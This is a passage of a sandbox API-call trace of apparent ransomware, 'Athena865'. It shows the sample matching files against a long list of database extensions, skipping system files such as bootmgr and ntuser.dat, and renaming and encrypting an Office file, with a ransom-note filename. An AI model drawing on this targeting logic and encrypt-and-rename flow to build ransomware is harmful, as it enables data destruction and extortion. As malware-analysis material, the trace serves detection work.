lstrcmpiW (lpString1="CPL", lpString2="vdi") returned -1 [0075.309] lstrlenW (lpString="vhd") returned 3 [0075.309] lstrcmpiW (lpString1="CPL", lpString2="vhd") returned -1 [0075.309] lstrlenW (lpString="vhdx") returned 4 [0075.309] lstrcmpiW (lpString1=".CPL", lpString2="vhdx") returned -1 [0075.310] lstrlenW (lpString="avhd") returned 4 [0075.310] lstrcmpiW (lpString1=".CPL", lpString2="avhd") returned -1 [0075.310] lstrlenW (lpString="db") returned 2 [0075.310] lstrcmpiW (lpString1="PL", lpString2="db") returned 1 [0075.310] lstrlenW (lpString="db2") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="db2") returned -1 [0075.310] lstrlenW (lpString="db3") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="db3") returned -1 [0075.310] lstrlenW (lpString="dbf") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="dbf") returned -1 [0075.310] lstrlenW (lpString="mdf") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="mdf") returned -1 [0075.310] lstrlenW (lpString="mdb") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="mdb") returned -1 [0075.310] lstrlenW (lpString="sql") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="sql") returned -1 [0075.310] lstrlenW (lpString="sqlite") returned 6 [0075.310] lstrcmpiW (lpString1="32.CPL", lpString2="sqlite") returned -1 [0075.310] lstrlenW (lpString="sqlite3") returned 7 [0075.310] lstrcmpiW (lpString1="G32.CPL", lpString2="sqlite3") returned -1 [0075.310] lstrlenW (lpString="sqlitedb") returned 8 [0075.310] lstrcmpiW (lpString1="FG32.CPL", lpString2="sqlitedb") returned -1 [0075.310] lstrlenW (lpString="xml") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="xml") returned -1 [0075.310] lstrlenW (lpString="$er") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="$er") returned 1 [0075.310] lstrlenW (lpString="4dd") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="4dd") returned 1 [0075.310] lstrlenW (lpString="4dl") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="4dl") returned 1 [0075.310] lstrlenW (lpString="^^^") returned 3 [0075.310] lstrcmpiW (lpString1="CPL", lpString2="^^^") returned 1 [0075.311] lstrlenW (lpString="abs") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="abs") returned 1 [0075.311] lstrlenW (lpString="abx") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="abx") returned 1 [0075.311] lstrlenW (lpString="accdb") returned 5 [0075.311] lstrcmpiW (lpString1="2.CPL", lpString2="accdb") returned -1 [0075.311] lstrlenW (lpString="accdc") returned 5 [0075.311] lstrcmpiW (lpString1="2.CPL", lpString2="accdc") returned -1 [0075.311] lstrlenW (lpString="accde") returned 5 [0075.311] lstrcmpiW (lpString1="2.CPL", lpString2="accde") returned -1 [0075.311] lstrlenW (lpString="accdr") returned 5 [0075.311] lstrcmpiW (lpString1="2.CPL", lpString2="accdr") returned -1 [0075.311] lstrlenW (lpString="accdt") returned 5 [0075.311] lstrcmpiW (lpString1="2.CPL", lpString2="accdt") returned -1 [0075.311] lstrlenW (lpString="accdw") returned 5 [0075.311] lstrcmpiW (lpString1="2.CPL", lpString2="accdw") returned -1 [0075.311] lstrlenW (lpString="accft") returned 5 [0075.311] lstrcmpiW (lpString1="2.CPL", lpString2="accft") returned -1 [0075.311] lstrlenW (lpString="adb") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="adb") returned 1 [0075.311] lstrlenW (lpString="adb") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="adb") returned 1 [0075.311] lstrlenW (lpString="ade") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="ade") returned 1 [0075.311] lstrlenW (lpString="adf") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="adf") returned 1 [0075.311] lstrlenW (lpString="adn") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="adn") returned 1 [0075.311] lstrlenW (lpString="adp") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="adp") returned 1 [0075.311] lstrlenW (lpString="alf") returned 3 [0075.311] lstrcmpiW (lpString1="CPL", lpString2="alf") returned 1 [0075.312] lstrlenW (lpString="ask") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="ask") returned 1 [0075.312] lstrlenW (lpString="btr") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="btr") returned 1 [0075.312] lstrlenW (lpString="cat") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="cat") returned 1 [0075.312] lstrlenW (lpString="cdb") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="cdb") returned 1 [0075.312] lstrlenW (lpString="ckp") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="ckp") returned 1 [0075.312] lstrlenW (lpString="cma") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="cma") returned 1 [0075.312] lstrlenW (lpString="cpd") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="cpd") returned 1 [0075.312] lstrlenW (lpString="dacpac") returned 6 [0075.312] lstrcmpiW (lpString1="32.CPL", lpString2="dacpac") returned -1 [0075.312] lstrlenW (lpString="dad") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="dad") returned -1 [0075.312] lstrlenW (lpString="dadiagrams") returned 10 [0075.312] lstrcmpiW (lpString1="LCFG32.CPL", lpString2="dadiagrams") returned 1 [0075.312] lstrlenW (lpString="daschema") returned 8 [0075.312] lstrcmpiW (lpString1="FG32.CPL", lpString2="daschema") returned 1 [0075.312] lstrlenW (lpString="db-journal") returned 10 [0075.312] lstrcmpiW (lpString1="LCFG32.CPL", lpString2="db-journal") returned 1 [0075.312] lstrlenW (lpString="db-shm") returned 6 [0075.312] lstrcmpiW (lpString1="32.CPL", lpString2="db-shm") returned -1 [0075.312] lstrlenW (lpString="db-wal") returned 6 [0075.312] lstrcmpiW (lpString1="32.CPL", lpString2="db-wal") returned -1 [0075.312] lstrlenW (lpString="dbc") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="dbc") returned -1 [0075.312] lstrlenW (lpString="dbs") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="dbs") returned -1 [0075.312] lstrlenW (lpString="dbt") returned 3 [0075.312] lstrcmpiW (lpString1="CPL", lpString2="dbt") returned -1 [0075.313] lstrlenW (lpString="dbv") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dbv") returned -1 [0075.313] lstrlenW (lpString="dbx") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dbx") returned -1 [0075.313] lstrlenW (lpString="dcb") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dcb") returned -1 [0075.313] lstrlenW (lpString="dct") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dct") returned -1 [0075.313] lstrlenW (lpString="dcx") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dcx") returned -1 [0075.313] lstrlenW (lpString="ddl") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="ddl") returned -1 [0075.313] lstrlenW (lpString="dlis") returned 4 [0075.313] lstrcmpiW (lpString1=".CPL", lpString2="dlis") returned -1 [0075.313] lstrlenW (lpString="dp1") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dp1") returned -1 [0075.313] lstrlenW (lpString="dqy") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dqy") returned -1 [0075.313] lstrlenW (lpString="dsk") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dsk") returned -1 [0075.313] lstrlenW (lpString="dsn") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dsn") returned -1 [0075.313] lstrlenW (lpString="dtsx") returned 4 [0075.313] lstrcmpiW (lpString1=".CPL", lpString2="dtsx") returned -1 [0075.313] lstrlenW (lpString="dxl") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="dxl") returned -1 [0075.313] lstrlenW (lpString="eco") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="eco") returned -1 [0075.313] lstrlenW (lpString="ecx") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="ecx") returned -1 [0075.313] lstrlenW (lpString="edb") returned 3 [0075.313] lstrcmpiW (lpString1="CPL", lpString2="edb") returned -1 [0075.313] lstrlenW (lpString="epim") returned 4 [0075.313] lstrcmpiW (lpString1=".CPL", lpString2="epim") returned -1 [0075.314] lstrlenW (lpString="fcd") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fcd") returned -1 [0075.314] lstrlenW (lpString="fdb") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fdb") returned -1 [0075.314] lstrlenW (lpString="fic") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fic") returned -1 [0075.314] lstrlenW (lpString="flexolibrary") returned 12 [0075.314] lstrlenW (lpString="fm5") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fm5") returned -1 [0075.314] lstrlenW (lpString="fmp") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fmp") returned -1 [0075.314] lstrlenW (lpString="fmp12") returned 5 [0075.314] lstrcmpiW (lpString1="2.CPL", lpString2="fmp12") returned -1 [0075.314] lstrlenW (lpString="fmpsl") returned 5 [0075.314] lstrcmpiW (lpString1="2.CPL", lpString2="fmpsl") returned -1 [0075.314] lstrlenW (lpString="fol") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fol") returned -1 [0075.314] lstrlenW (lpString="fp3") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fp3") returned -1 [0075.314] lstrlenW (lpString="fp4") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fp4") returned -1 [0075.314] lstrlenW (lpString="fp5") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fp5") returned -1 [0075.314] lstrlenW (lpString="fp7") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fp7") returned -1 [0075.314] lstrlenW (lpString="fpt") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="fpt") returned -1 [0075.314] lstrlenW (lpString="frm") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="frm") returned -1 [0075.314] lstrlenW (lpString="gdb") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="gdb") returned -1 [0075.314] lstrlenW (lpString="gdb") returned 3 [0075.314] lstrcmpiW (lpString1="CPL", lpString2="gdb") returned -1 [0075.314] lstrlenW (lpString="grdb") returned 4 [0075.315] lstrcmpiW (lpString1=".CPL", lpString2="grdb") returned -1 [0075.315] lstrlenW (lpString="gwi") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="gwi") returned -1 [0075.315] lstrlenW (lpString="hdb") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="hdb") returned -1 [0075.315] lstrlenW (lpString="his") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="his") returned -1 [0075.315] lstrlenW (lpString="ib") returned 2 [0075.315] lstrcmpiW (lpString1="PL", lpString2="ib") returned 1 [0075.315] lstrlenW (lpString="idb") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="idb") returned -1 [0075.315] lstrlenW (lpString="ihx") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="ihx") returned -1 [0075.315] lstrlenW (lpString="itdb") returned 4 [0075.315] lstrcmpiW (lpString1=".CPL", lpString2="itdb") returned -1 [0075.315] lstrlenW (lpString="itw") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="itw") returned -1 [0075.315] lstrlenW (lpString="jet") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="jet") returned -1 [0075.315] lstrlenW (lpString="jtx") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="jtx") returned -1 [0075.315] lstrlenW (lpString="kdb") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="kdb") returned -1 [0075.315] lstrlenW (lpString="kexi") returned 4 [0075.315] lstrcmpiW (lpString1=".CPL", lpString2="kexi") returned -1 [0075.315] lstrlenW (lpString="kexic") returned 5 [0075.315] lstrcmpiW (lpString1="2.CPL", lpString2="kexic") returned -1 [0075.315] lstrlenW (lpString="kexis") returned 5 [0075.315] lstrcmpiW (lpString1="2.CPL", lpString2="kexis") returned -1 [0075.315] lstrlenW (lpString="lgc") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="lgc") returned -1 [0075.315] lstrlenW (lpString="lwx") returned 3 [0075.315] lstrcmpiW (lpString1="CPL", lpString2="lwx") returned -1 [0075.316] lstrlenW (lpString="maf") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="maf") returned -1 [0075.316] lstrlenW (lpString="maq") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="maq") returned -1 [0075.316] lstrlenW (lpString="mar") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mar") returned -1 [0075.316] lstrlenW (lpString="marshal") returned 7 [0075.316] lstrcmpiW (lpString1="G32.CPL", lpString2="marshal") returned -1 [0075.316] lstrlenW (lpString="mas") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mas") returned -1 [0075.316] lstrlenW (lpString="mav") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mav") returned -1 [0075.316] lstrlenW (lpString="maw") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="maw") returned -1 [0075.316] lstrlenW (lpString="mdbhtml") returned 7 [0075.316] lstrcmpiW (lpString1="G32.CPL", lpString2="mdbhtml") returned -1 [0075.316] lstrlenW (lpString="mdn") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mdn") returned -1 [0075.316] lstrlenW (lpString="mdt") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mdt") returned -1 [0075.316] lstrlenW (lpString="mfd") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mfd") returned -1 [0075.316] lstrlenW (lpString="mpd") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mpd") returned -1 [0075.316] lstrlenW (lpString="mrg") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mrg") returned -1 [0075.316] lstrlenW (lpString="mud") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mud") returned -1 [0075.316] lstrlenW (lpString="mwb") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="mwb") returned -1 [0075.316] lstrlenW (lpString="myd") returned 3 [0075.316] lstrcmpiW (lpString1="CPL", lpString2="myd") returned -1 [0075.317] lstrlenW (lpString="ndf") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="ndf") returned -1 [0075.317] lstrlenW (lpString="nnt") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="nnt") returned -1 [0075.317] lstrlenW (lpString="nrmlib") returned 6 [0075.317] lstrcmpiW (lpString1="32.CPL", lpString2="nrmlib") returned -1 [0075.317] lstrlenW (lpString="ns2") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="ns2") returned -1 [0075.317] lstrlenW (lpString="ns3") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="ns3") returned -1 [0075.317] lstrlenW (lpString="ns4") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="ns4") returned -1 [0075.317] lstrlenW (lpString="nsf") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="nsf") returned -1 [0075.317] lstrlenW (lpString="nv") returned 2 [0075.317] lstrcmpiW (lpString1="PL", lpString2="nv") returned 1 [0075.317] lstrlenW (lpString="nv2") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="nv2") returned -1 [0075.317] lstrlenW (lpString="nwdb") returned 4 [0075.317] lstrcmpiW (lpString1=".CPL", lpString2="nwdb") returned -1 [0075.317] lstrlenW (lpString="nyf") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="nyf") returned -1 [0075.317] lstrlenW (lpString="odb") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="odb") returned -1 [0075.317] lstrlenW (lpString="odb") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="odb") returned -1 [0075.317] lstrlenW (lpString="oqy") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="oqy") returned -1 [0075.317] lstrlenW (lpString="ora") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="ora") returned -1 [0075.317] lstrlenW (lpString="orx") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="orx") returned -1 [0075.317] lstrlenW (lpString="owc") returned 3 [0075.317] lstrcmpiW (lpString1="CPL", lpString2="owc") returned -1 [0075.317] lstrlenW (lpString="p96") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="p96") returned -1 [0075.318] lstrlenW (lpString="p97") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="p97") returned -1 [0075.318] lstrlenW (lpString="pan") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="pan") returned -1 [0075.318] lstrlenW (lpString="pdb") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="pdb") returned -1 [0075.318] lstrlenW (lpString="pdm") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="pdm") returned -1 [0075.318] lstrlenW (lpString="pnz") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="pnz") returned -1 [0075.318] lstrlenW (lpString="qry") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="qry") returned -1 [0075.318] lstrlenW (lpString="qvd") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="qvd") returned -1 [0075.318] lstrlenW (lpString="rbf") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="rbf") returned -1 [0075.318] lstrlenW (lpString="rctd") returned 4 [0075.318] lstrcmpiW (lpString1=".CPL", lpString2="rctd") returned -1 [0075.318] lstrlenW (lpString="rod") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="rod") returned -1 [0075.318] lstrlenW (lpString="rodx") returned 4 [0075.318] lstrcmpiW (lpString1=".CPL", lpString2="rodx") returned -1 [0075.318] lstrlenW (lpString="rpd") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="rpd") returned -1 [0075.318] lstrlenW (lpString="rsd") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="rsd") returned -1 [0075.318] lstrlenW (lpString="sas7bdat") returned 8 [0075.318] lstrcmpiW (lpString1="FG32.CPL", lpString2="sas7bdat") returned -1 [0075.318] lstrlenW (lpString="sbf") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="sbf") returned -1 [0075.318] lstrlenW (lpString="scx") returned 3 [0075.318] lstrcmpiW (lpString1="CPL", lpString2="scx") returned -1 [0075.319] lstrlenW (lpString="sdb") returned 3 [0075.319] lstrcmpiW (lpString1="CPL", lpString2="sdb") returned -1 [0075.319] lstrlenW (lpString="sdc") returned 3 [0075.322] lstrcmpiW (lpString1="CPL", lpString2="sdc") returned -1 [0075.322] lstrlenW (lpString="sdf") returned 3 [0075.322] lstrcmpiW (lpString1="CPL", lpString2="sdf") returned -1 [0075.322] lstrlenW (lpString="sis") returned 3 [0075.322] lstrcmpiW (lpString1="CPL", lpString2="sis") returned -1 [0075.322] lstrlenW (lpString="spq") returned 3 [0075.322] lstrcmpiW (lpString1="CPL", lpString2="spq") returned -1 [0075.322] lstrlenW (lpString="te") returned 2 [0075.322] lstrcmpiW (lpString1="PL", lpString2="te") returned -1 [0075.322] lstrlenW (lpString="teacher") returned 7 [0075.322] lstrcmpiW (lpString1="G32.CPL", lpString2="teacher") returned -1 [0075.322] lstrlenW (lpString="tmd") returned 3 [0075.322] lstrcmpiW (lpString1="CPL", lpString2="tmd") returned -1 [0075.322] lstrlenW (lpString="tps") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="tps") returned -1 [0075.323] lstrlenW (lpString="trc") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="trc") returned -1 [0075.323] lstrlenW (lpString="trc") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="trc") returned -1 [0075.323] lstrlenW (lpString="trm") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="trm") returned -1 [0075.323] lstrlenW (lpString="udb") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="udb") returned -1 [0075.323] lstrlenW (lpString="udl") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="udl") returned -1 [0075.323] lstrlenW (lpString="usr") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="usr") returned -1 [0075.323] lstrlenW (lpString="v12") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="v12") returned -1 [0075.323] lstrlenW (lpString="vis") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="vis") returned -1 [0075.323] lstrlenW (lpString="vpd") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="vpd") returned -1 [0075.323] lstrlenW (lpString="vvv") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="vvv") returned -1 [0075.323] lstrlenW (lpString="wdb") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="wdb") returned -1 [0075.323] lstrlenW (lpString="wmdb") returned 4 [0075.323] lstrcmpiW (lpString1=".CPL", lpString2="wmdb") returned -1 [0075.323] lstrlenW (lpString="wrk") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="wrk") returned -1 [0075.323] lstrlenW (lpString="xdb") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="xdb") returned -1 [0075.323] lstrlenW (lpString="xld") returned 3 [0075.323] lstrcmpiW (lpString1="CPL", lpString2="xld") returned -1 [0075.323] lstrlenW (lpString="xmlff") returned 5 [0075.324] lstrcmpiW (lpString1="2.CPL", lpString2="xmlff") returned -1 [0075.324] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL.Athena865") returned 64 [0075.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl.athena865"), dwFlags=0x1) returned 1 [0075.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.325] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=75144) returned 1 [0075.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.325] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.326] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.326] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.326] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12890, lpName=0x0) returned 0x17c [0075.328] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12890) returned 0x100000 [0075.332] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.333] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.333] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.334] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.335] CloseHandle (hObject=0x17c) returned 1 [0075.335] CloseHandle (hObject=0x154) returned 1 [0075.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.335] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".") returned 1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="..") returned 1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="windows") returned -1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="bootmgr") returned 1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="temp") returned -1 [0075.335] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="pagefile.sys") returned -1 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="boot") returned 1 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="ids.txt") returned 1 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="ntuser.dat") returned -1 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="perflogs") returned -1 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2="MSBuild") returned -1 [0075.336] lstrlenW (lpString="MLSHEXT.DLL") returned 11 [0075.336] lstrcpyW (in: lpString1=0x241e89e, lpString2="MLSHEXT.DLL" | out: lpString1="MLSHEXT.DLL") returned="MLSHEXT.DLL" [0075.336] lstrlenW (lpString="MLSHEXT.DLL") returned 11 [0075.336] lstrlenW (lpString="Athena865") returned 9 [0075.336] lstrcmpiW (lpString1="SHEXT.DLL", lpString2="Athena865") returned 1 [0075.336] lstrlenW (lpString=".dll") returned 4 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".dll") returned 1 [0075.336] lstrlenW (lpString=".lnk") returned 4 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".lnk") returned 1 [0075.336] lstrlenW (lpString=".ini") returned 4 [0075.336] lstrcmpiW (lpString1="MLSHEXT.DLL", lpString2=".ini") returned 1 [0075.336] lstrlenW (lpString=".sys") returned 4 [0075.336] lstrcmpiW 